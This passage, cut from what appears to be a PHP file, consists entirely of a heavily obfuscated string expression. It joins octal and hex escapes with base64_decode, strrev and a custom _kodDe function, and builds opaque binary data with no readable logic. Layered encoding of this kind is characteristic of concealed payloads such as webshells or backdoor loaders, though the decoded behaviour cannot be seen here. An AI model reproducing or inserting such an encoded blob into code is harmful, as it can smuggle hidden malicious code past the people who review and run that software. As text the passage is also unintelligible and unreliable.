225\244\257\225\12\254\227\166\64\24\112\50\32\125\306\52\301\321\163\5\126\14\315\123\246\260\130\274\71\34\127\32\227\53\142\204\122\146"."\56\147\346\3\250\24\64\223\216\324\324\160\74\116\77\174\260\274\243\21\74\151\20\210\265\264\44\302\74\4\235\133\34\105\55\231\6\353\323\25\112\367\145\35\165\110\313\26".base64_decode('2TIdoL+V8AO/pg1Ld9DIG0VYplCEafJtBR9FllpnED0NHzmU34Sdh7bhEP1smEd/')."\347\100\242\136\25\307\351\226\243\352\371\224\231\66\362\260\131\347\303\242\323\234\114\263\145\240\4\64\334\147\146\323\354\333\66\126\103\127\372\214\254\336\136\314\311\111\170\60"."\225\61\262\151\213\355\257\157\112\111\203\121\276\135\161\132\21\52\240\226\360\235\156\364\215\212\375\206\323\165\360\130\333\54\132\51\75\202\366\7\15\327\0\130\167\34\324\71"."\x18\x1b\xc3\xec\x2c\x64\x4d\x2d\x9d\xd0\x2d\xde\x35\xc3\x6c\x41\x5\xc5\x8a\x8e\xc\x2c\x92\x64\x2d\xa6\x95\x6b\x46\x98\x1\xea\x47\xbb\xc2\xe8\x2c\x13\x31\xc0\xf6\x45\x5a\x1a\xb1\x60\x55\xd7"."\111\376\257\172\272\26\240\177\252\1\365\165\103\233\62\172\66\253\352\43\72\154\234\134\172\206\315\6\43\150\367\32\371\40\202\320\140\44\246\146\64\73\323\226\236\241\222\134"."\xc\xa3\xa6\xf5\x91\x40\x21\x53\x80\x5d\xcd\x37\x72\xb7\x6b\x61\xe3\xa1\x6b\x37\x9d\xb0\x84\x97\xb3\x66\x4a\xcb\xca\x5d\xa4\xdf\x19\xc7\x29\x24\xf4\x7c\x1a\x8f\x4\x74\xc5\x1c\xce\x93\x91\x2a".base64_decode('6DokavYpaaVNWa601hv1NsuYy/Iv1jsOsznQGWHTme6jH73sWKiACg2bYDixPbVC')."\x21\x6b\xa4\x34\xc7\x30\xf3\x41\x33\xe5\xe8\x8e\xdf\x76\x2c\x5d\x83\x12\x43\xa9\x94\x6e\xdb\xfe\x26\x33\xef\x58\x66\xd6\x1f\xca\x66\xcd\x61\x7f\xcc\x32\xfa\x8d\x7c\xbd\x32\x19\x90\x2d\x8a\x44".base64_decode('m9qPEWA97NSKOQpeOLiayQ1Fp88/i+1AntrS8nafbvnDsDPqFdRYjgVZsmbDLpi2')."\x81\x9b\x57\xaf\x68\x8e\xa3\xa5\x32\x18\x83\x88\xe2\x1b\xbe\x21\xbd\x91\xcf\x1a\x79\xbd\x24\x6d\x78\xa4\x60\x58\xba\xcd\xda\xaa\x2c\x6c\x4b\x42\x21\xa8\x74\xdd\xdf\x61\x69\xfd\x39\xad\x5e\x29"."\24\173\321\310\300\116\55\3\243\251\141\150\352\225\24\16\372\224\134\321\166\374\226\216\120\221\201\216\73\30\344\110\237\277\15\357\53\103\117\373\23\10\143\3\170\332\324\351"."\xa\x5a\x3a\xa\x8b\xa3\xd0\xd6\x64\xb2\x43\x8d\xb4\xa0\x23\xb9\x3d\xac\xb6\x85\x92\x4d\xad\xd0\x6c\x47\xeb\x67\x6d\x8e\x22\x3c\xcc\x8b\x64\xc0\x65\x7e\xb4\xbf\xf0\xe2\x6a\x47\x7d\x15\xc0\xe"."\x73\x58\xb7\x50\xc5\x8d\xa3\xf5\xca\x80\x99\xee\x35\x47\x2\x2c\xa\x27\x4e\x20\x44\xc3\x12\xe3\xe9\x2e\x38\xfe\xb8\x96\xef\xc7\xe3\xd3\x3b\xea\xe8\xb0\x4\xed\xa1\x7e\xf7\x40\x47\xf5\x7c\xbf"."\x93\x61\x19\x13\xe1\xf8\x92\x70\x5c\x4d\xc4\x5a\x92\x4b\x43\x71\x38\xcc\xf3\x68\x95\x8c\xb0\xaa\x70\xd1\x59\x7f\x5c\x4f\xa3\xa1\x4f\x39\x2c\x9f\x56\xc0\xa3\xc6\xd2\xe0\xcd\x81\xe7\x8a\xc5\xe2".base64_decode('DcPiopGFeGCa/TZK5JdTsbKjRs7AbXd4DBlJdNIvhAYFSYcauu3JVd3pKdV+9O/k')."\352\256\356\346\300\344\236\371\101\103\344\11\326\4\152\224\332\251\165\112\7\42\75\14\55\253\100\247\113\122\114\125\142\213\334\303\42\126\163\336\314\353\337\60\70\370\354\222"."\266\275\147\130\51\60\36\136\334\31\116\44\325\266\160\262\65\326\14\265\207\103\360\25\65\351\266\145\275\355\242\77\75\60\273\75\364\107\65\354\26\351\130\301\101\216\176\124"."\263\167\25\232\214\66\235\341\330\76\212\243\43\71\255\137\102\362\30\212\103\155\246\245\273\41\342\250\132\152\244\371\31\201\202\255\272\321\237\201\361\62\160\151\51\63\153\132".strrev('A_lbJѲ;>똦N'."\n".'a EV'."\r".'t)FcZ')."\62\251\266\205\341\375\140\142\32\372\137\40\371\264\231\323\30\312\44\310\116\117\123\154\107\101\223\135\61\255\272\46\216\153\307\162\114\14\265\134\111\320\320\146\114\230\342\176"."\235\65\251\310\333\306\132\231\326\263\72\33\227\214\316\16\214\251\220\14\35\170\174\324\372\370\354\41\272\17\101\305\111\155\330\161\224\23\243\167\26\136\212\11\145\1\310\242"."\x13\x2a\x46\x66\x5c\x84\x3b\x2c\xbd\xcf\x80\x4d\x9a\x47\x33\xd2\xa6\x59\x3\xac\xf\x68\x6\xc4\x5a\xc1\x1\x69\x1d\xb5\x74\x46\xa3\x6a\x53\xac\x3d\x89\x48\x6a\xa\x59\x1a\x8f\x24\xc3\x6c\xdd".base64_decode('hprVUFMHP3jFjEICjGBKTw8KGaqFmUXNCYpjDmHsgpm3dX8KcgjSuyQqLU4BwDPi')."\344\360\34\6\43\176\55\267\332\237\103\133\300\317\33\352\76\203\225\244\174\224\107\140\156\4\162\307\303\210\270\42\166\370\167\304\22\220\141\76\206\42\2\254\127\267\240\262"."\x8e\x4e\x88\xca\x49\xeb\x62\x61\x18\x80\xfb\xb0\xf3\x5c\x3\xb2\x2a\xb4\x34\xc1\x10\x73\x11\xa5\xb7\x8c\xd5\x9a\xe8\xd2\x7c\xd6\x1e\xd6\x91\x5c\x56\xd0\x73\xee\x5e\xf9\xc5\xc8\x27\x5b\x23\xed"."\x8b\xd4\xb6\x58\x73\x38\xaa\x46\xda\x11\x66\x4a\x96\xc2\x3b\x3b\x9a\x43\x6c\x2a\x65\x78\x63\x2c\xd9\xea\x82\x76\x22\xdc\xb4\x24\x14\x8d\x78\x93\x87\x97\x45\x12\xc9\x44\xd9\x28\x4\xeb\xc\x7b"."\142\20\43\330\21\17\267\104\226\361\140\113\44\34\155\116\250\115\241\246\126\221\246\75\324\6\1\265\17\263\142\166\320\235\136\105\110\66\301\31\72\165\10\63\247\154\260\124"."\x17\xf\xa5\x32\xee\x40\x15\x6b\x8\x1d\xa6\x3a\xac\x34\xe8\x2e\x66\x89\x49\x4f\x80\x21\x4e\x99\x45\x76\x4\x70\x42\x32\xc7\x30\x43\x4e\x83\x4d\xa4\xb1\x83\xb2\x8a\xfe\x54\x2b\xa1\x84\xe2\x14"."\x54\x8e\x3\x7a\x47\xf9\x27\xe9\x6\xb\x23\x92\x11\xea\x57\x0\xe1\x97\xb4\x40\xc5\x69\x1a\xf5\x3e\x8e\x87\xcb\x3\x42\x7d\xe\x47\xf7\x9e\x30\x5a\xfc\x22\xe\xcd\x40\x88\xf0\xde\x68\x25\x90".base64_decode('GYFqDLSVLCfEmtMn+F411hGOhzDXrC6Nx9oXQobhjM4aEIHhr2LEFTDPjkBDiDLS').base64_decode('GBclBn2VyYZyLf05jv4gohAq1/Ns1HsxRmanC/voQ7uBYVOzyGvrNc0s26eIPuAI')."\203\63\337\253\154\266\110\106\30\252\231\302\16\50\70\25\222\261\105\341\166\225\255\54\32\222\126\43\5\40\166\66\26\207\1\161\314\1\306\223\321\310\170\70\301\166\271\245"."\xf\x16\xd\x36\x5c\xc1\xc0\x14\x58\xc5\x3a\x3a\x78\xa0\xfa\xe0\x9\xdd\xc3\x53\xaa\xba\xfc\x53\x2\x3d\xe8\xa3\x7a\xf2\x2\x1a\x84\x50\x77\xc0\x15\x3c\x16\xf2\x17\x2d\x9e\x1b\x93\x4d\x55\xf6"."\xfc\xea\xfa\xee\x60\x77\xb0\x6a\x7e\x7d\x57\xc8\xbf\x5a\xf3\xaf\x9e\xea\x9f\xed\xef\x99\xd2\x1d\xa8\x9e\x2\x80\x9e\x35\xb5\xbe\xe9\xeb\x70\x2\x94\x70\xfe\x31\x3d\xe8\xa7\xa1\x7b\xfe\xa4\x6e".base64_decode('/3EnrlzQ1d1TWT/l6O7AMd3DPZOr57N6UkUL8ZupUd7U9JQq1CRETvEkeYLypAQs')."\x62\xb5\x51\x10\xd0\x35\x75\xeb\x18\x1c\xcd\xa1\xde\x2f\x72\x74\xf9\xbb\xa7\xf4\xcc\x97\xf2\x49\x20\x6f\x5d\x88\x5c\x42\xf8\x37\xc3\xd3\x85\xfc\x2b\x70\xcf\x78\x56\xbc\xef\x61\x7d\x14\xf3\x29"."\x81\x3d\xf1\xbe\xe8\xd5\x52\x80\x7\x8c\xfe\x3c\xdf\x42\xe8\x24\xe7\x7c\xba\x9b\x8a\x5f\x33\x89\xfe\xae\x63\x13\xd9\xaf\x8f\x30\xd4\x90\xef\x33\x2c\x58\x9d\xc5\xbc\x31\xc8\xc4\x10\x79\x7d\x10".base64_decode('PkyHre9e3RnW2fJAcFcYLQ7GOqIoKZQlhCHUgBkqvkb5YjIKKqawhnkoredhniZC')."\152\73\245\25\364\204\324\103\125\115\206\32\243\141\225\141\30\300\304\54\114\260\142\43\27\331\241\256\11\214\312\360\103\112\220\360\204\133\201\235\157\17\146\25\202\30\24\335"."\262\114\253\236\110\57\355\142\1\23\144\210\63\163\320\330\52\210\247\127\32\346\51\164\310\41\237\52\117\100\101\143\164\2\346\266\165\261\351\61\206\202\66\25\304\14\331\210"."\x8c\x62\xd4\x4d\xb0\xaa\xbb\xbb\xd8\xa5\xa7\x7b\xba\xd0\xc2\xd7\xfc\x7d\x3d\x6b\xa6\xad\xab\x66\x54\x7e\xb0\x1b\xfd\x61\x81\x50\x19\x39\x9a\xca\xb1\xa1\x8a\xce\xe7\x0\x6e\x7\x17\xa5\xb8\x2"."\x3c\x9a\x6\x4d\x8b\x93\x48\x5\x17\x11\xed\x98\x8e\x96\x75\x15\x91\xc4\x10\x86\x9a\xd8\xc1\xd\x42\x5\x3a\xdb\x51\x81\xb1\xf0\x51\x2e\x9\x20\x9\x3a\x6d\xe7\x4c\x3c\x97\x8d\x48\x12\x30\x9c".strrev('1IìيZeJu%z;j1\'h:IGd0T7(E\';#')."\0\65\300\136\1\41\252\37\116\203\51\345\262\266\230\26\343\210\47\103\63\52\46\227\113\30\311\347\21\377\52\57\65\161\310\56\14\41\162\46\251\124\61\201\237\22\151\127"."\x1a\x63\xb1\x68\x38\xd4\xae\xe0\xf3\x1c\xce\x21\x44\x2c\x24\xc2\x1d\x21\x74\x88\x61\xde\x3a\x91\xc\x83\xc\x32\xd2\xec\x67\xe5\x2e\xf3\x47\x80\xc3\xe2\x1f\x6\xc\xbb\x59\xc0\x18\x44\x45\x63"."\242\42\116\146\200\315\45\102\210\16\113\12\22\62\10\141\102\323\207\45\104\76\114\151\370\120\37\174\230\75\362\11\332\335\47\4\156\276\41\103\37\46\37\234\330\366\1\15"."\xee\x73\x34\xb\x11\xc\x98\x48\x86\xcf\x48\xb3\xcf\xb0\x9b\x9\xdb\x40\x2a\x20\x51\xac\x41\x4e\x6\xcb\x41\xb2\xda\xa8\x8f\x36\x2e\xaa\xf\xe9\x59\x1f\x6b\x9a\x8f\xb5\xd8\xc7\x78\x43\x1f\x61"."\xe8\x9a\xa1\x59\x9d\x68\x73\x41\xb3\xc8\x27\xc2\xa1\x19\x1f\x5e\x4e\x78\x35\xfb\x84\x8\xd0\x67\xe\xe7\x75\x8b\x24\x81\x61\x12\x1c\x87\x4f\x70\x23\xbe\x7e\xcb\x2c\x16\x3a\x58\x9d\x52\x88\x36".base64_decode('CwCizRwQN03Hx3hNn8yGQitCbNeUHc7yvSHj720EzB2OKh2lb5ms0vlws9xraInA')."\xd3\xaf\x63\x67\x9e\x2b\x8d\x98\x5e\xb6\xd\xb3\xba\x8\xe1\x9\x10\x5f\x4b\xc4\x36\xc6\x1d\x6a\xd1\x86\xe4\x95\x57\x6e\x15\xb2\x93\x87\x2d\x63\x21\xfd\x13\x72\x5f\x41\x9\x7b\xf9\x4a\xaf\x44".base64_decode('GFea1PoTUnWO1s/qwqgMxY6ZlH7H9dRoSjCqzRL76w65N1cRlZfQ+jyd9JFdVm6H')."\x94\x5f\x1\x7c\xd5\xf3\x9\xdb\x67\xe2\x44\x36\xe2\x6c\x2b\xf0\xd9\x77\xed\xa0\x6f\xdf\xbb\xd0\x4b\x82\x2e\x63\x5\x41\x70\xd0\xc6\x62\x94\x9d\x40\x7\x60\x4b\x96\xd\x51\xad\x1c\xd\xc8\xda"."\347\16\341\255\27\40\310\233\134\253\44\270\104\43\32\156\111\52\307\307\20\246\63\114\225\346\121\161\142\205\374\143\346\25\127\331\154\270\224\6\22\57\302\132\76\115\41\53"."\xd1\xa9\xb0\xb2\xa1\x82\x55\x52\xe1\xca\x2e\x16\x8d\xbb\x11\x3e\x16\x54\x4a\x97\x21\x1e\x6e\x79\x10\xf0\xe2\x20\xdd\x17\x27\x19\x3\xc5\xc4\xc1\x59\x4\x2a\x51\xb3\x81\x5f\xc3\x62\x72\xf8\xd2"."\x19\x4c\x4c\xad\xbc\x4a\x25\x64\x24\x0\xac\x5d\xae\x7a\x71\x50\xec\x30\xb6\x24\x14\x5c\x81\x4f\xa2\x6b\x30\xc2\xf1\x8b\xbd\x22\x5\xdd\x43\xee\x59\x91\x9e\xe3\x16\xf\x51\x87\x91\x1f\x35\xf2"."\262\104\113\100\305\211\55\10\6\274\325\75\62\270\346\261\276\351\21\43\44\146\76\220\244\371\262\106\176\100\72\314\205\70\7\265\36\147\225\332\16\45\171\132\316\220\256\337"."\265\241\141\221\147\64\113\214\37\103\103\30\27\10\321\40\116\42\202\122\262\76\155\110\320\57\256\74\22\62\261\235\121\326\140\371\323\135\50\15\66\373\310\157\53\352\270\274".strrev(''."\r".'3h%\\3\\[$Yg?DK,>I!'."\r".'Q`C')."\161\25\303\31\100\153\250\222\304\200\343\34\67\102\243\55\11\161\374\216\116\115\164\346\321\157\104\332\147\321\121\147\5\360\26\131\210\17\54\371\254\160\323\33\11\35\365\31".base64_decode('8onSEiVxcmohLcK4X5wVbFzFDhNjLbZTv2gQHlq1tB14AZcPt1gmp4P5se9N1EQY').strrev('b*p'."\0".'Y|KY(s1A=@З) %p9?~M').base64_decode('As2sscm5AKffOs88O6aJeFIrYKGaRYMkFAf4gVw54mNQpiB4KTaKkJC1m1BiORMF').strrev('(H2hNcNQL9t4PZCjbR2N8h').base64_decode('TkwBk1E2OXlKJl9wGb5JrpRu2gGAk8mRHhCkTvlr9pRZgBUh6ZfkzCFdAgZsxyyI')."\30\51\110\243\245\50\121\250\224\212\117\22\151\21\332\137\151\102\60\213\41\43\151\41\57\341\275\351\26\16\140\156\43\40\343\351\220\145\261\5\114\273\211\57\161\20\120\6"."\141\134\230\140\273\257\334\161\105\13\17\17\11\355\21\132\24\256\70\100\267\177\100\113\247\143\354\42\113\376\56\115\52\313\41\313\27\104\124\171\170\121\122\250\174\362\120\66"."\53\256\377\275\341\61\263\320\155\57\147\222\41\143\146\153\41\214\57\273\216\53\7\343\114\216\274\355\334\204\272\227\214\167\243\352\261\111\226\61\220\234\230\306\362\141\164\312"."\67\145\214\274\156\363\303\332\262\313\341\254\377\307\264\161\351\310\343\35\62\326\162\301\161\222\304\32\153\261\15\351\62\7\301\305\262\2\145\361\43\274\204\60\1\342\100\12"."\250\216\213\244\212\223\362\245\355\344\132\41\150\373\322\361\300\107\126\44\206\266\147\371\65\353\115\247\63\241\65\301\201\43\374\244\225\63\341\50\74\227\143\25\312\343\171\141".strrev('D@{Vv/w}v_~͆xRE*#ӓ|')."\44\64\30\117\131\332\145\36\361\370\301\343\77\373\343\153\257\77\122\167\345\165\107\77\272\351\330\63\332\172\56\332\36\276\252\171\343\101\27\236\263\326\270\377\260\367\237\71"."\147\312\63\357\373\372\373\107\27\177\331\173\173\333\245\247\35\124\375\366\36\305\347\256\232\261\342\212\275\376\366\322\270\25\307\146\176\366\325\45\157\237\363\323\347\376\372\253".base64_decode('J98/fsnkib+c3f/MU8/M3j3nwicavjzy8y+/+v7r4xY0zJp4Rcz+bkbb47//88Sf')."\x2f\x3f\x7f\xd3\x43\xcb\xee\x7a\x6a\xc6\x33\xe3\x2e\xfb\xcb\xbe\xdd\xf3\x3e\xed\x98\x7a\x7b\xc2\xbe\xe3\x91\xaf\x87\xf\xdc\xe3\xe5\xc3\xce\xfe\xef\x99\x3f\x5c\x33\x6b\xc3\x86\x3\xaf\x7f\x76".base64_decode('5/rwzj0mVB338azRP2g3tV1xcvWZkR9f59/22O+0pnfeOW3bIf03vLR14u7Z5o4b').base64_decode('Jzz2xto797j12hfevfryG948KrCo7qhP6ovznvts7Q0vbo9sue3Z3V3vPdN3x42V').strrev('ߗuuW.-~$>^X$^O')."\16\374\367\337\173\370\16\75\167\311\323\37\135\231\373\374\166\343\230\137\277\377\257\107\56\72\277\156\374\21\73\367\231\76\373\332\127\303\53\307\115\234\271\346\200\303\217\271"."\377\230\263\133\52\103\325\227\7\277\67\376\324\302\65\167\176\130\355\324\77\267\156\366\343\147\317\372\374\241\223\42\367\36\260\356\344\77\5\66\364\345\366\334\74\270\377\45"."\x8d\x8f\x7c\xb8\xf1\x85\x49\x4f\x1d\x35\xfe\xe0\x43\xc7\x3f\x30\xff\xf7\x8f\xbc\xbb\x57\xeb\xe9\xb3\xfe\xb8\xff\x7f\x9e\xba\x75\x63\xac\x6b\x7b\x6a\xda\xfa\x9f\xef\x7d\xea\xcd\x9b\xf\x6e\x3c"."\166\323\272\301\350\55\27\76\322\367\144\353\57\146\30\65\355\371\304\336\203\277\174\350\350\151\77\274\274\151\357\227\256\173\360\303\153\16\215\76\76\364\371\61\125\167\34\121"."\273\143\244\341\114\343\206\251\223\276\77\64\267\352\351\232\75\366\374\344\243\43\157\250\330\320\277\356\316\13\136\172\151\357\337\237\356\277\343\67\127\347\136\236\276\163\311\241"."\317\34\160\361\246\113\16\273\370\371\345\77\353\374\367\375\207\275\72\361\225\266\5\332\201\7\356\175\372\223\227\214\354\252\330\357\251\205\167\56\155\252\163\156\272\355\345\73"."\123\213\2\343\176\177\357\262\173\236\321\156\375\313\305\33\137\371\373\323\15\31\337\176\347\45\347\77\261\365\350\11\247\117\337\367\262\232\203\36\276\363\275\263\376\164\151\303"."\305\307\124\74\171\312\73\23\17\254\276\354\336\263\266\73\173\365\125\274\165\352\33\317\75\372\362\131\177\335\347\334\163\73\66\174\167\303\137\157\315\177\276\162\175\174\144\377"."\127\176\264\346\127\377\274\350\312\217\72\127\307\136\177\376\361\161\65\127\214\337\177\217\267\212\147\215\67\336\274\373\235\175\163\247\114\77\61\123\374\203\262\275\152\151\217\366".strrev('0*~>_0rSܢ]NG1[8?')."\xfa\x8e\x57\xae\x3c\xee\xaa\x97\xf7\x18\x77\x7c\xcf\xc5\xcf\x86\x2b\x16\xe5\x7e\x70\xd0\x87\xef\x4e\xb8\x67\xdd\xdc\xb\x56\x6e\x5c\xbe\x75\x7b\xf8\xa3\xc7\xaf\x5d\xfc\xdb\x2d\x93\xde\x5f\xff"."\243\247\126\157\134\266\355\370\223\377\370\306\53\77\30\172\375\345\267\152\16\31\277\307\342\317\242\177\77\366\370\33\27\377\155\351\71\376\137\274\60\163\313\212\55\277\31\336"."\362\345\173\327\334\373\303\165\227\316\74\345\221\376\325\63\377\156\234\161\326\270\316\266\217\356\72\151\376\275\217\235\376\372\303\133\237\256\74\146\322\336\321\304\316\357\334\262"."\x30\xf6\xe2\xe2\x3b\x87\x57\x1d\x71\xb3\xb9\xc5\xf7\xd4\x8f\xea\xf5\x1f\xff\x6a\x9f\xc3\x5e\x3e\x71\xc2\x21\x83\x57\x7f\x76\xc2\x80\x7a\xd3\x9d\x2f\xff\x2a\xb5\xed\x85\xd7\xef\x7f\xe3\xb1\xdf".base64_decode('vPqO89nES5p3Thw3PHL+hR/ffvAfphzae8+enzSe89bjG5c99/Mb75v8i/Grjr6/')."\x78\xd4\xb5\x2f\xb4\x19\xf\xef\x35\x7d\xeb\x35\xfb\x7d\x50\x78\xd5\xf2\x1f\xfd\x71\x42\x9b\xa0\x5d\x99\x8d\x1f\xff\xf2\xd2\xfc\x91\xff\xb8\x67\xcf\xfb\xde\x58\x39\xb3\x7f\xa5\xf9\xbb\xfa\xcd".base64_decode('P3j66OPe/Oy5jYMzBg6uO++Jt/Y/om3SutzG8EF7PdZ2RMPck9P24O/fnjBnqs+Z')."\xe9\x9b\xf3\xf3\x9f\xf5\xdc\x3d\x21\xf4\xd6\x4f\x4f\x6b\xed\xbe\x6b\xab\xff\xbe\xd7\xb6\x25\x1f\x5c\x7e\xe3\x1f\xed\xfd\x7e\x3f\xf1\xcc\x9\x6f\x4c\x4a\x9d\xf1\xd0\x86\x27\x92\x53\x1e\xea\xbb".strrev('Mg0?o|Wzy>'."\n".'n9K').base64_decode('4cYb3jvxwS2fHv50y03PHTjzsHF/Of/6m++46d/Lo2/e8d7bX5149a8eOfM7l+1j')."\x6c\xd8\x7f\xfd\x27\xf\xcd\x7a\xc6\xff\xc1\x77\xde\xf9\xea\xbd\xf8\x73\xb\x66\x7d\x7f\xb2\x6f\xfe\x3d\xf7\xd\xfc\xec\xde\xd1\xda\xc3\x17\x6e\xda\xb2\xa5\x35\xf9\x60\x74\xed\x7b\x6b\xb6\xcf"."\xdd\x7a\xa4\x39\x6f\xda\xeb\xc3\xef\x7f\xf4\xc0\x35\x3f\x39\xb1\xea\x8d\xb3\x4f\xe9\x3e\xf5\xe0\x75\x85\xe0\xe0\x69\x81\x25\x7\x6f\x7d\x64\x5e\x72\xc5\x1d\xef\xff\x7d\xe7\xbf\xbe\x7c\xf9\xd4".base64_decode('5ZO3bvXrF3yQfv+RjePOqZ/zxvXZox9594sLn3326w9ve/IvP71n7T/f3R579oF1')."\x1f\x7d\xfc\xf1\xd3\x97\x7c\x1a\x7c\x6d\x6d\xf1\x93\xb7\x3f\xe8\x3f\x6a\xdb\xdc\xaf\xbf\x78\xf6\xd0\x9b\x4e\x50\xbf\x78\x7f\xf7\xd2\x1d\x1b\x5e\x3b\xf2\x9f\x27\xcf\xff\xe2\xb9\xf5\x37\x7c\x31".base64_decode('y5jZ8Enm+EcPOq/557u7W3+0/vHN3//+Wx/OfPiQj6+/bumtv9h3yoXr9w/N/OXg')."\372\365\65\7\334\326\176\134\375\65\107\276\374\301\377\374\145\371\360\214\207\37\231\167\312\365\137\255\270\341\61\143\121\117\344\312\145\205\347\47\34\34\257\172\142\307\161\263"._kodDe('MorTVOO+ZKm4aKKH6o8FmoPK9zHiq+aL265f4v+6wuoBO2Vu5Knb6SvBesJ7irKRKw==')."\345\323\237\250\107\75\361\235\35\67\77\321\163\343\211\203\43\211\63\177\241\156\162\166\357\367\326\25\351\337\235\235\375\365\77\107\353\246\334\376\207\63\246\37\176\307\243\367"."\x8c\xbb\x6d\x40\xf9\xed\x39\x77\x57\xed\xa1\x55\x3e\x3c\xf4\xd8\xaf\x4f\x7f\xb2\xe5\xbd\x85\x67\xbd\x70\xcb\x5d\x9f\xff\x24\xe1\xff\x70\x6e\x34\xb3\x22\x78\xd8\x77\x4f\x3a\xea\x8d\x5\xfd\xf".base64_decode('Pb+pvvL4usbX00eYn/sr5239ef/8r3f//vPQSO2hzz/6wAvWq8v+/Ksnnpt48aEf')."\257\230\163\330\123\373\175\174\305\337\106\376\374\343\167\223\267\26\116\134\175\303\136\173\337\161\362\250\161\333\155\366\212\23\212\343\317\335\174\342\175\211\71\231\135\221\3\177"."\262\353\255\217\116\156\174\361\342\247\166\235\373\352\222\253\157\132\263\271\357\47\277\173\67\335\360\301\373\331\233\162\377\366\375\155\316\77\136\373\353\335\333\356\77\357\372\77"."\x5f\x72\xe9\xe1\x8b\x27\x9f\xf9\x3f\x3f\xfc\xa4\xf5\x13\xdf\xbb\x1b\xae\xfd\xed\x27\xb7\xec\x9e\x52\xb9\x6c\x4d\xf3\xf2\xcb\x2f\xda\xbf\x6b\xf3\x51\xaf\xf6\x46\x4e\x99\xbd\xcf\x86\xf3\x47\x77"."\xee\x19\x3d\xc9\xfc\xfe\xcb\x7\x9e\xb3\xe4\x1f\x87\xbf\xfe\xf0\xf3\x6b\xae\xaa\x3d\xe3\x8d\x87\x2b\xc3\xff\x19\xaa\xef\xed\xec\x79\x3b\xb8\x75\xc6\xbf\xaa\x95\x3b\x7e\xfb\xd0\xdb\x67\x36\xd4".base64_decode('/eFIpWIf/4v33XbZhn9Uf//KmRPO8f9n3m8mD9R/Vdj03mXjqv/xn+r6M/74xt3W')."\321\7\216\274\320\74\341\231\53\32\356\172\145\225\162\365\53\351\234\376\263\207\117\175\354\310\303\117\125\66\277\271\363\300\171\313\37\351\173\366\203\145\27\334\273\357\131\273"."\176\162\350\137\153\247\276\172\350\251\23\336\10\17\234\176\102\325\252\171\135\47\154\330\371\342\37\73\237\375\370\235\357\255\234\165\141\356\200\113\327\234\76\361\214\366\332\103"."\xfb\x2a\xf\xac\x68\x4d\x9c\xf4\x9d\xee\xf5\x87\x3c\xf0\xde\xee\x97\xee\x7b\xae\xed\xaa\x59\xab\xb6\xec\xf7\xc2\x17\xe1\x2f\xcf\xba\xfd\xda\xfd\xc7\x9f\x7f\xd5\x3d\xf\x2c\xb9\x7d\xfb\xdd\xbf"."\35\167\310\125\17\57\276\365\346\13\216\175\112\77\74\172\115\133\327\35\55\175\243\67\57\231\371\142\317\252\135\303\53\156\73\255\353\277\177\372\356\212\321\203\366\354\131\353"."\334\76\173\355\105\237\276\270\340\211\300\121\357\275\233\274\357\300\351\133\126\156\173\316\150\237\273\356\366\233\227\75\367\313\37\237\367\364\336\357\137\60\143\376\301\205\315\67"."\167\255\170\345\325\33\147\116\71\142\321\223\261\313\12\103\273\366\311\256\73\352\372\227\356\274\361\224\367\177\327\74\357\374\63\233\147\56\73\377\312\47\37\77\53\371\363\263".base64_decode('e+bdsDOx3t96b+WFe934a+WnyvDG/L+vqHrsnC9+c9Cyg68eueqQFz598dFlS+bs').strrev('?wσ;v}'."\r".'_Ca/umVw~X').strrev('y_Om/<^x:8')."\xbf\x60\x3e\x3b\xef\xcb\xff\x6c\x7f\xe7\xc1\x13\xbe\x7a\xe7\x9f\x5f\x7f\xf5\xf9\xbe\x27\x5c\x1f\x3e\xe9\xab\xf5\xc5\xaa\x86\x9\x4f\xed\xf5\xce\xd3\x6b\xf\x3f\xe4\x77\x5d\x9f\xe6\xb7\x3d\xf9"."\x97\x57\xbf\x5c\xf0\xd2\xda\xdb\x96\x98\xd3\xef\xba\xb3\x6b\xce\x7d\xef\x6d\xfb\xb2\xfd\xd3\x2b\xae\xfd\xf7\xf7\xce\x3e\xeb\xa8\xb9\x6b\xf7\x1c\x7f\xea\xc4\x1b\x5f\xff\xc3\xbc\x1f\x1d\xf3\xf8"."\243\257\156\370\317\364\213\236\331\265\351\117\153\257\134\266\242\247\53\150\46\157\375\364\104\145\372\301\17\154\77\371\346\327\17\153\214\375\143\371\1\23\336\270\45\177\313\312"."\347\176\162\260\272\375\270\357\166\75\366\330\145\241\103\152\117\13\315\334\172\317\161\373\355\376\372\273\331\275\136\76\367\314\203\230\241\105\335\114\120\271\252\235\15\162\331\232"."\x59\x75\xf4\x63\x5a\x1d\xdc\xb8\x5a\xbd\x83\x46\xca\xf4\x48\x6f\x47\x7\x87\x35\xa6\x5d\x2\xea\xe4\xd3\x66\xcc\x84\x42\xa7\x2\x31\xb5\xca\x18\x1a\xc9\xda\x70\x21\xdc\xbf\x7a\x54\x1f\xb2\x40".base64_decode('yJRPjxYGWGDa1OmsyjrGjYyksr0Q3d/rjGjMNGBaHTTY7sume1OraGD6bMhYVwdt')."\x28\x98\xbd\xf9\x81\x51\x10\x4e\xcc\xac\x81\xae\xcc\x9c\x3e\x9d\x35\x11\x3e\xe0\x67\x76\x1d\x34\x79\xc6\x54\x50\x45\x1a\x1c\x1e\xd5\xcd\x2c\xdc\xbd\xd5\xd6\xcc\x86\x74\x50\xbc\x35\x3c\x98\x1b".base64_decode('GAL6srC6Pz9kAqE6OpAbckzoc910yJfRVw2nU6thiNm4asbgAPRAQ3zXKqYZo9kD').base64_decode('/UOrQEg6bTr0bfo06Hoqm7Y0HTKmjDTiKqCdM2pnsemEtL2jeXvAhMEbLKzKW6tz').strrev('3V`jkZ)(2Vѓ8=+a00ƊeIfCPl')."\66\343\66\246\117\207\46\314\142\203\260\272\157\164\330\110\1\73\133\67\13\226\115\161\304\301\243\11\65\232\175\253\162\171\140\167\152\330\232\254\235\1\115\55\146\6\106\373"."\15\20\101\256\356\65\207\122\114\337\266\167\244\220\263\122\60\354\63\146\102\331\371\341\1\303\314\0\164\66\133\5\251\134\161\70\153\60\26\162\260\177\70\347\260\165\64\35"."\62\316\232\15\65\232\5\143\44\317\164\202\153\247\1\64\73\122\34\310\14\102\107\63\251\125\271\76\336\353\132\266\302\152\141\332\146\262\251\310\331\253\213\275\131\46\275\112"."\x6b\xfd\x43\x39\xe8\x49\x4d\x1d\x94\x3b\x73\x16\xa4\xd5\x47\xb3\x3\x43\x4c\xc1\xae\x37\x35\x68\xe7\xb2\x50\xc1\x70\x5e\x73\x72\x26\xf4\xba\x76\x26\x8c\xd0\xc\xd6\xde\xe9\x33\x61\x85\x4e\x9b"."\x9\xd\x31\xf4\x61\x6b\x74\x28\xc5\x96\xea\xe0\x70\x86\x31\x7e\x35\xac\x3b\x3\x2